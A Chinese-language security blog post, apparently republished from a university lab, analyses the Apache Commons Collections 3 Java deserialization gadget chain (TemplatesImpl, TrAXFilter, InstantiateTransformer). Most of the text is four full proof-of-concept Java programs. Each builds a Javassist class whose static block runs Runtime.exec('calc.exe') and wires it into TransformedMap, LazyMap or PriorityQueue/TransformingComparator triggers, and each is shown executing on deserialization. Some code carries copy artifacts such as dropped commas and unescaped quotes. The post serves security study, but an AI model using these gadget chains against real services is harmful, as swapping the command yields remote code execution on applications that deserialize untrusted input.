Commons Collections 3 Gadget

admin 2022年4月19日01:38:36评论21 views字数 16509阅读55分1秒阅读模式


  • 前文回顾

    • TemplatesImpl.getTransletInstance()

    • TemplatesImpl.defineTransletClasses()

    • TemplatesImpl.newTransformer()

  • InstantiateTransformer 利用链

    • 配合 TransformedMap 利用链完成调用

    • 配合 LazyMap 利用链完成调用

    • 配合 TransformingComparator 利用链完成调用

  • Ending......


Apache Commons 是 Apache软件基金会 的项目,曾隶属于 Jakarta 项目。Commons 的目的是提供可重用的、开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。

我们在之前的文章中曾说过,Commons Collections 序列化 RCE 漏洞的问题主要出现在 org.apache.commons.collections.Transformer 接口上。在之前的 Commons Collections 利用链分析时,我们主要通过 InvokerTransformer 类中提供的可控反射来调用任意函数,只需要传入方法名、参数类型和参数,即可调用任意函数。此外,InstantiateTransformer 类也可以达到与 InvokerTransformer 方法类似的效果。

Commons Collections 中提供了一个 org.apache.commons.collections.functors.InstantiateTransformer 类,其实现了 Transformer 接口。该类对外公开了一个构造方法重载,可以分别对 this.iParamTypesthis.iArgs 赋值:

Commons Collections 3 Gadget
image-20220416111255894

此外,InstantiateTransformer 所实现的 transform() 方法允许我们通过反射实例化一个对象并且返回。那么此处该如何利用呢?我们先来回顾一下 Yoserial 中的 Commons Collections 2 利用链。

前文回顾

对于 Commons Collections 2 这条链子,ysoserial 引入了 TemplatesImpl 类来承载 static{} 静态块中的攻击载荷。

TemplatesImpl.getTransletInstance()

TemplatesImpl 类提供的 getTransletInstance() 方法中存在一处 newInstance() 实例化操作,如下图所示:

Commons Collections 3 Gadget
image-20220407125417491

我们知道,在对类进行 newInstance() 实例化操作时,会首先执行类中的无参数构造方法或 static{} 静态块中的内容。如果我们可以控制 _class[_transletIndex] 的值,使其指向我们精心构造的的恶意类,当进行 newInstance() 实例化时将执行我们预先设定的恶意代码。

TemplatesImpl.defineTransletClasses()

要想成功执行  TemplatesImpl.getTransletInstance() 中的 newInstance(),还需要使 _name 不为 null。此外还将进入到 defineTransletClasses() 方法,我们跟进该方法:

Commons Collections 3 Gadget
image-20220407131037917

可以看到,该方法会调用 defineClass() 方法将 _bytecodes[i] 中的字节码转换成类。并且,如果从这个字节码中得到的类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 类的子类,则将数组索引 i 赋给 _transletIndex

TemplatesImpl 中对 _bytecodes 的描述为 “*Contains the actual class definition for the translet class and any auxiliary classes.*”,是一个由 private 修饰的字节码数组:

Commons Collections 3 Gadget
image-20220407131514649

我们可以通过反射获取 _bytecodes,并将我们精心构造的恶意类的字节码添加到 _bytecodes 中作为一个元素,当调用 TemplatesImpl.getTransletInstance() 方法时,将由 newInstance() 进行实例化,从而执行恶意代码。

接下来我们需要寻找调用 getTransletInstance() 方法的地方。

TemplatesImpl.newTransformer()

TemplatesImpl 类中提供的 newTransformer() 方法用于获取一个 TransformerImpl 对象,在构建 TransformerImpl 对象时会调用 TemplatesImpl.getTransletInstance() 方法:

Commons Collections 3 Gadget
image-20220407132218530

在 Commons Collections 2 中,利用先前 InvokerTransformer 类里的可控反射,再借助对 TransformingComparator 和 PriorityQueue 组和利用,我们可以成功调用 TemplatesImpl.newTransformer() 方法。最终构造的利用链如下所示:

PriorityQueue.readObject()
    PriorityQueue.heapify()
     PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
    TransformingComparator.compare()
     InvokerTransformer.transform()
      Method.invoke()
       TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance() -> newInstance()
         Runtime.getRuntime().exec()

而在 Commons Collections 3 中,我们依然是通过 TemplatesImpl 类来承载攻击载荷,但是改变了 newTransformer() 方法的调用思路。

InstantiateTransformer 利用链

我们在前文中说过,InstantiateTransformer 类所实现的 transform() 方法允许我们通过反射实例化一个对象并且返回,并且涉及的所有参数均可控:

Commons Collections 3 Gadget
image-20220416111255894

此外,我们发现 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 类的构造方法中存在一处 newTransformer() 调用,如下图所示:

Commons Collections 3 Gadget
image-20220416113120326

如果我们通过 InstantiateTransformer.transform() 方法实例化 TrAXFilter 类,在实例化的过程中,如果我们将 TemplatesImpl 类的对象传入 TrAXFilter 的构造方法,那我们就可以实现前面 TemplatesImpl.newTransformer() 方法的调用了。

至于 InstantiateTransformer.transform() 方法的调用姿势,我们可以参考之前的 InvokerTransformer.transform(),即配合 ConstantTransformer 和 ChainedTransformer 来实现 InstantiateTransformer.transform() 方法的调用。下面我给出大致的 Demo:

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;

public class CCOriginal {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */

        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templatesImpl}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        //transformerChain.transform("test");
    }
}

最终又回到了如何实现自动调用 transformerChain.transform() 方法的问题。在前面的学习中,我们总共挖到了 3 种调用方法:

  • TransformedMap 利用链:TransformedMap.checkSetValue()
  • LazyMap 利用链:LazyMap.get()
  • TransformingComparator 利用链:TransformingComparator.compare()

配合 TransformedMap 利用链完成调用

关于 TransformedMap 利用链的原理还请回顾 《Java 反序列化:Commons Collections Gadget (TransformedMap)》,这里不再赘述。下面我直接给出最终的反序列化 POC:

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */

        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templatesImpl}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value""test");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.classouterMap);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(AIHObject);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:

Commons Collections 3 Gadget
image-20220416144011740

配合 LazyMap 利用链完成调用

关于 LazyMap 利用链的原理还请回顾 《Java 反序列化:Commons Collections 1 Gadget》,这里不再赘述。下面我直接给出最终的反序列化 POC:

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javax.xml.transform.Templates;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.io.*;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */

        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templatesImpl}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        
        Map innerMap = new HashMap();
        innerMap.put("key""value");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.classouterMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
        InvocationHandler AIHObjectFinal = (InvocationHandler) confunc.newInstance(Retention.classproxyMap);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(AIHObjectFinal);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();

    }
}

执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:

Commons Collections 3 Gadget
image-20220416142823896

配合 TransformingComparator 利用链完成调用

关于 TransformingComparator 利用链的原理还请回顾 《Java 反序列化:Commons Collections 2 Gadget》,这里不再赘述。下面我直接给出最终的反序列化 POC:

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */

        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templatesImpl}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue, transformingComparator);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(queue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:

Commons Collections 3 Gadget
image-20220416143600662

Ending......

原文始发于微信公众号(山警网络空间安全实验室):Commons Collections 3 Gadget

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日01:38:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Commons Collections 3 Gadgethttps://cn-sec.com/archives/919440.html

发表评论

匿名网友 填写信息